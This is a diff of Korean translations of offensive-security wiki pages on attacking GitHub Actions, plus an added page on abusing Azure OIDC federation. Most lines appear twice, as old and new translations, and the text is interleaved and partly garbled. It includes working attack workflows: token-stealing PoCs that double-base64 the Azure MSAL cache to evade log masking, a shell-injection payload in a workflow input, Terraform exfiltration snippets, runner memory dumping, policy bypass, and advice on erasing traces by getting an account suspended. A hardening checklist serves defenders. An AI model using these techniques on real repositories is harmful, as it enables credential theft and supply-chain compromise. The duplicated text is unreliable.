문제는 **`path`** 파라미터가 설정되어 있지 않으면 artifact가 현재 디렉터리에 추출되어 이후 workflow에서 사용되거나 실행될 수 있는 파일을 덮어쓸 수 있다는 점이다. 따라서 Artifact가 취약하면, 공격자는 이를 악용해 Artifact를 신뢰하는 다른 workflows를 손상시킬 수 있다.
문제는 **`path`** 파라미터가 설정되지 않으면 artifact가 현재 디렉터리에 추출되어 워크플로우에서 나중에 사용되거나 심지어 실행될 수 있는 파일을 덮어쓸 수 있다는 점이다. 따라서 Artifact가 취약하면 공격자는 이를 악용해 Artifact를 신뢰하는 다른 workflows를 손상시킬 수 있다.
Example of vulnerable workflow:
```yaml
@@ -376,7 +396,7 @@ with:
name: artifact
path: ./script.py
```
workflow로 공격할 수 있습니다:
는 다음 워크플로로 공격할 수 있습니다:
```yaml
name: "some workflow"
on: pull_request
@@ -397,23 +417,23 @@ path: ./script.py
### Deleted Namespace Repo Hijacking
계정 이름 변경면 일정 시간이 지난 후 다른 사용자가 그 이름으로 계정을 등록할 수 있습니다. 만약 repository가 **이름 변경 이전에 100 stars 미만**이었다면, Github는 같은 이름으로 새로 가입한 사용자에게 삭제된 것과 동일한 이름의 **repository를 생성**할 수 있도록 허용합니다.
계정 이름 변경면 일정 시간이 지난 후 다른 사용자가 그 이름으로 계정을 등록할 수 있습니다. 만약 repository가 이름 변경 이전에 **less than 100 stars previously to the change of name**였다면, Github는 동일한 이름을 가진 새 사용자 삭제된 것과 동일한 **repository with the same name**을 생성하는 것을 허용합니다.
> [!CAUTION]
> 따라서 action이 존재하지 않는 계정의 repo를 사용하고 있다면, 공격자가 해당 계정을 생성하여 action을 compromise할 가능성이 여전히 있습니다.
> 따라서 만약 action이 존재하지 않는 계정의 repo를 사용하고 있다면, 공격자가 해당 계정을 생성하여 action을 탈취할 수 있습니다.
만약 다른 repositories가 **이 사용자 repos로부터 dependencies를 사용하고 있었다면**, 공격자는 이를 hijack할 수 있습니다. 자세한 설명은 다음을 참하세요: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
만약 다른 repository들이 이 사용자 repos의 **dependencies from this user repos**를 사용하고 있었다면, 공격자는 이를 하이재킹할 수 있습니다. 보다 자세한 설명은 다음을 참하세요: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> 이 섹션에서는 첫 번째 repo에 어떤 식으로든 접근이 있다고 가정할 때, 다른 repo로 **pivot from one repo to another**할 수 있게 해주는 기들에 대해 설명합니다 (이전 섹션을 확인하세요).
> 이 섹션에서는 첫 번째 repo에 어떤 식으로든 접근 권한이 있다고 가정할 때, 한 repo에서 다른 repo로 **pivot from one repo to another** 할 수 있는 기들에 대해 설명합니다(이전 섹션을 확인하세요).
### Cache Poisoning
같은 branch에서**workflow runs 간에 cache가 유지됩니다**. 즉, 공격자가 cache에 저장된 어떤 **package**를 compromise하면, 그 패키지가 더 권한이 높은 workflow에 의해 다운로드되어 실행될 때 해당 workflow **compromise**될 수 있습니다.
같은 브랜치 내**wokflow runs in the same branch** 사이에는 cache가 유지됩니다. 즉 공격자가 **compromise**한 **package**가 캐시에 저장되고, 이후 더 권한이 높은 **more privileged** workflow가 이를 **downloaded**하여 실행하면 해당 workflow 역시 **compromise**될 수 있습니다.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -421,7 +441,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows는 **다른 workflows 또는 repo의 artifacts**를 사용할 수 있습니다. 공격자가 나중에 다른 workflow에서 사용되는 artifact를 **uploads an artifact**하는 Github Action을 compromise하면, 다른 workflows 역시 **compromise**할 수 있습니다:
Workflows는 다른 workflows나 심지어 repos**artifacts from other workflows and even repos**를 사용할 수 있습니다. 공격자가 나중에 다른 workflow에서 사용되는 아티팩트를 **uploads an artifact**하는 Github Action을 **compromise**하면, 해당 공격자는 다른 workflows들도 **compromise**할 수 있습니다:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -433,9 +453,9 @@ gh-actions-artifact-poisoning.md
### Github Action Policies Bypass
이것은 [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass)에서 언급했듯이, repository나 organization이 특정 actions의 사용을 제한하는 policy를 가지고 있더라도, 공격자는 workflow 내부에서 해당 action을 단순히 다운로드(`git clone`)한 다음 로컬 action으로 참조할 수 있습니다. Policies가 로컬 경로에 영향을 미치지 않기 때문에, ** action은 어떠한 제한 없이 실행됩니다.**
앞서 [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass)에서 언급했듯이, repository나 organization이 특정 actions의 사용을 제한하는 정책을 가지고 있더라도, 공격자는 단순히 workflow 내부에서 해당 action을 `git clone`으로 다운로드한 다음 로컬 action으로 참조할 수 있습니다. 정책은 로컬 경로에 영향을 미치지 않으므로, **the action will be executed without any restriction.**
Example:
:
```yaml
on: [push, pull_request]
@@ -456,27 +476,31 @@ path: gha-hazmat
- run: ls tmp/checkout
```
### OIDC를 통한 AWS 및 GCP 접근
### OIDC를 통한 AWS, Azure 및 GCP 접근
Check the following pages:
다음 페이지를 확인하세요:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### secrets에 접근 <a href="#accessing-secrets" id="accessing-secrets"></a>
### secrets에 접근하기 <a href="#accessing-secrets" id="accessing-secrets"></a>
만약 script에 콘텐츠를 주입하고 있다면, secrets에 접근하는 방법을 아는 것이 유용합니다:
스크립트에 콘텐츠를 주입하는 경우 secrets에 접근하는 방법을 알아두면 좋습니다:
- 만약 secret 또는 token이 **environment variable**로 설정되어 있면, **`printenv`**를 사용해 환경에서 직접 접근할 수 있습니다.
- secret 또는 token이 **환경 변수**로 설정되어 있면, **`printenv`**를 사용해 환경에서 직접 접근할 수 있습니다.
<details>
<summary>Github Action output에 secrets 나열</summary>
<summary>Github Action 출력에서 secrets 나열</summary>
```yaml
name: list_env
on:
@@ -503,7 +527,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>secrets를 사용해 reverse shell 얻기</summary>
<summary>secrets reverse shell 얻기</summary>
```yaml
name: revshell
on:
@@ -566,7 +590,7 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
### Self-hosted runners 악용
### Abusing Self-hosted runners
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
@@ -577,12 +601,12 @@ In self-hosted runners it's also possible to obtain the **secrets from the \_Run
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
자세한 내용은 [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
Github actions를 사용하면 **Docker 이미지를 Github 에 빌드하고 저장할 수 있습니다**.\
예제는 다음 확장 가능한 섹션에서 확인할 수 있습니다:
Github actions를 만들어 **Docker 이미지를 Github 내부에 빌드하고 저장**할 수 있습니다.\
다음 확장 섹션에서 예제를 확인할 수 있습니다:
<details>
@@ -617,33 +641,33 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
이전 코드에서 보았듯이, Github 레지스트리는 **`ghcr.io`**에 호스팅되어 있습니다.
이전 코드에서 볼 수 있듯이, Github 레지스트리는 **`ghcr.io`**에 호스팅되어 있습니다.
레포(repo)에 대 읽기 권한(read permissions)이 있는 사용자는 personal access token(개인 액세스 토큰)을 사용 Docker Image를 다운로드할 수 있습니다:
repo에 대 읽기 권한이 있는 사용자는 personal access token을 사용하여 Docker Image를 다운로드할 수 있습니다:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
그런 다음, 사용자는 **leaked secrets in the Docker image layers:** 를 검색할 수 있습니다:
그런 다음, 사용자는 **leaked secrets in the Docker image layers:** 를 검색할 수 있습니다
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Github Actions logs의 민감한 정보
### Github Actions 로그의 민감한 정보
비록 **Github**가 actions logs에서 **detect secret values**하고 **avoid showing**하려 해도, 액션 실행 중 생성되었을 수 있는 **other sensitive data**는 숨겨지지 않습니다. 예를 들어, secret value로 서명된 JWT는 [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 되어 있지 않으면 숨겨지지 않습니다.
심지어 **Github**가 actions 로그에서 **detect secret values**를 시도하고 이를 **표시하지 않도록** 하더라도, 액션 실행 중 생성 수 있는 **다른 민감한 데이터**는 숨겨지지 않습니다. 예를 들어 비밀 값으로 서명된 JWT는 [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)되지 않는 한 숨겨지지 않습니다.
## 흔적 지우기
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 우선, 생성 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명히 보입니다. GitHub에서는 기본적으로 인터넷상의 PR을 **cant delete a PR of the internet**, 하지만 반전이 있습니다. Github 계정이 Github에 의해 **suspended**되면, 해당 계정의 모든 **PRs are automatically deleted**되어 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub account suspended or get your account flagged** 되게 해야 합니다. 이렇게 하면 GitHub에서의 모든 활동이 인터넷에서 **hide all your activities** (기본적으로 모든 exploit PR을 제거) 됩니다.
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 우선, 생성 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명히 보입니다. GitHub에서는 기본적으로 인터넷상의 PR을 삭제할 수 없지만, 반전이 있습니다. GitHub에 의해 계정이 **정지(suspended)**되면, 해당 계정의 모든 **PR**은 자동으로 삭제되어 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub 계정을 정지시키거나 계정에 플래그를 달리게** 해야 합니다. 이렇게 하면 GitHub의 모든 활동이 인터넷에서 숨겨집니다(기본적으로 exploit PR을 모두 제거).
GitHub의 조직은 계정을 GitHub에 고하는 데 매우 적극적입니다. Issue에 “some stuff”를 올리기만 하면 12시간 내에 계정 정지되도록 조치해 줄 것이고 :p 그러면 exploit을 invisible on github 하게 됩니다.
GitHub의 어떤 organization은 계정을 GitHub에 고하는 데 매우 적극적입니다. Issue에 “몇 가지”를 공유하기만 하면, 그들은 12시간 내에 당신의 계정 정지시켜줄 것입니다 :p 그러면 당신의 exploit이 github에서 보이지 않게 됩니다.
> [!WARNING]
> 조직이 자신들이 타깃이 되었는지 알아내는 유일한 방법은 SIEM에서 GitHub logs를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다.
> 조직이 자신들이 타깃이 되었는지 알아내는 유일한 방법은 GitHub UI에서는 PR이 제거되기 때문에 SIEM에서 GitHub 로그를 확인하는 것입니다.
## 참고자료
## References
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
@@ -0,0 +1,228 @@
# Azure Federation Abuse (GitHub Actions OIDC / Workload Identity)
{{#include ../../../banners/hacktricks-training.md}}
## 개요
GitHub Actions는 OpenID Connect (OIDC)를 사용해 Azure Entra ID (formerly Azure AD)에 페더레이션할 수 있습니다. GitHub workflow는 실행에 대한 세부 정보를 인코딩한 단기 유효 GitHub ID token (JWT)을 요청합니다. Azure는 이 토큰을 App Registration (service principal)에 있는 Federated Identity Credential (FIC)에 대해 검증하고, 이를 Azure access tokens (MSAL cache, bearer tokens for Azure APIs)로 교환합니다.
Azure는 최소한 다음을 검증합니다:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
- sub: configured FIC Subject identifier와 일치해야 함
> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
## GitHub ID token 빠른 PoC
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
토큰 요청에서 Azure audience를 강제하려면:
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Azure setup (Workload Identity Federation)
1) App Registration (service principal)을 생성하고 최소 권한을 부여합니다(예: 특정 storage account에 대해 Storage Blob Data Contributor).
2) Federated identity credentials를 추가:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: 의도된 workflow/run 컨텍스트에 엄격하게 범위를 제한합니다(아래의 범위 지정 및 위험 참조).
3) azure/login을 사용해 GitHub ID 토큰을 교환하고 Azure CLI에 로그인합니다:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
수동 교환 예시 (Graph 범위 표시; ARM 또는 다른 리소스도 마찬가지):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## GitHub OIDC subject (sub) 구조 및 사용자 지정
Default sub format: repo:<org>/<repo>:<context>
Context 값에는 다음이 포함됩니다:
- environment:<env>
- pull_request (PR은 environment가 아닐 때 트리거됩니다)
- ref:refs/(heads|tags)/<name>
페이로드에 자주 포함되는 유용한 claims:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
추가 claims를 포함하고 충돌 위험을 줄이기 위해 GitHub API를 통해 sub 구성 방식을 사용자 지정하세요:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
참고: 환경 이름의 콜론은 URL‑인코딩(%3A)되어 있어 이전의 delimiter-injection 기법에 의한 sub 파싱 공격을 제거합니다. 그러나 environment:<name>처럼 고유하지 않은 subject를 사용하는 것은 여전히 안전하지 않습니다.
## FIC subject 유형의 범위 및 위험
- 브랜치/태그: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
- 위험: 브랜치/태그가 보호되어 있지 않다면 어떤 contributor라도 push하여 토큰을 획득할 수 있습니다.
- 환경: sub=repo:<org>/<repo>:environment:<env>
- 위험: 보호되지 않은 environment(검토자 없음)는 기여자가 토큰을 발급할 수 있도록 허용합니다.
- Pull request: sub=repo:<org>/<repo>:pull_request
- 최고 위험: 어떤 collaborator도 PR을 열어 FIC를 충족시킬 수 있습니다.
PoC: PRtriggered token theft (exfiltrate the Azure CLI cache written by azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
관련 파일 위치 및 참고 사항:
- Linux/macOS: ~/.azure/msal_token_cache.json에는 az CLI 세션용 MSAL 토큰이 저장됩니다
- Windows: 사용자 프로필의 msal_token_cache.bin; DPAPI로 보호됨
## 재사용 가능한 워크플로와 job_workflow_ref 범위 지정
재사용 가능한 워크플로를 호출하면 GitHub ID 토큰에 job_workflow_ref가 추가됩니다. 예:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
FIC 예: 호출자 저장소(caller repo)와 재사용 가능한 워크플로(reusable workflow)를 모두 바인딩하기:
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
caller repo에서 claims를 구성하여 repo와 job_workflow_ref가 sub에 모두 포함되도록 하세요:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
경고: FIC에서 job_workflow_ref만 바인딩하면, 공격자는 동일한 org 내에 다른 repo를 생성하고 동일한 reusable workflow를 같은 ref에서 실행하여 FIC를 충족시키고 tokens를 발급(mint)할 수 있습니다. 항상 caller repo도 포함하세요.
## job_workflow_ref 보호를 우회하는 코드 실행 벡터
적절하게 범위가 지정된 job_workflow_ref가 있어도, 안전하게 인용되지 않은 상태로 shell에 전달되는 모든 callercontrolled 데이터는 보호된 workflow 컨텍스트 내부에서 코드 실행으로 이어질 수 있습니다.
Example vulnerable reusable step (unquoted interpolation):
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
명령을 실행하고 Azure 토큰 캐시를 유출하기 위한 악의적인 호출자 입력:
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## Terraform plan을 PR에서 실행 원시(primitive) 동작으로 취급
terraform plan을 코드 실행으로 취급하세요.
plan 중에 Terraform은 다음을 수행할 수 있습니다:
- file() 같은 함수로 임의의 파일을 읽을 수 있습니다.
- external data source를 통해 명령을 실행할 수 있습니다.
plan 중에 Azure token cache를 exfiltrate하는 예:
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
또는 external을 사용해 임의의 명령을 실행하세요:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Granting FICs usable on PRtriggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
## Hardening checklist
- 민감한 FICs에는 sub=...:pull_request를 절대 사용하지 마세요
- FICs가 참조하는 모든 branch/tag/environment를 보호하세요 (branch protection, environment reviewers)
- 재사용 가능한 workflows에 대해서는 repo와 job_workflow_ref 모두에 범위가 지정된 FICs를 권장합니다
- GitHub OIDC sub를 사용자화하여 고유한 claims(예: repo, job_workflow_ref, repository_owner)을 포함시키세요
- run 단계에 호출자 입력을 인용 없이 보간하는 것을 제거하세요; 안전하게 인코드/인용하세요
- terraform plan을 코드 실행으로 간주하고 PR 컨텍스트에서는 신원을 제한하거나 격리하세요
- App Registrations에 최소 권한을 적용하고 plan과 apply에 대해 신원을 분리하세요
- actions와 재사용 가능한 workflows를 commit SHAs에 고정(pin)하세요 (branch/tag 핀은 피하세요)
## Manual testing tips
- 워크플로우에서 GitHub ID token을 요청하고 마스킹을 피하기 위해 base64로 출력하세요
- JWT를 디코드하여 다음 claims를 확인하세요: iss, aud, sub, job_workflow_ref, repository, ref
- 수동으로 ID token을 login.microsoftonline.com에 교환하여 FIC 매칭 및 scopes를 확인하세요
- azure/login 후에 ~/.azure/msal_token_cache.json을 읽어 토큰 자료가 존재하는지 확인하세요
## References
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
{{#include ../../../banners/hacktricks-training.md}}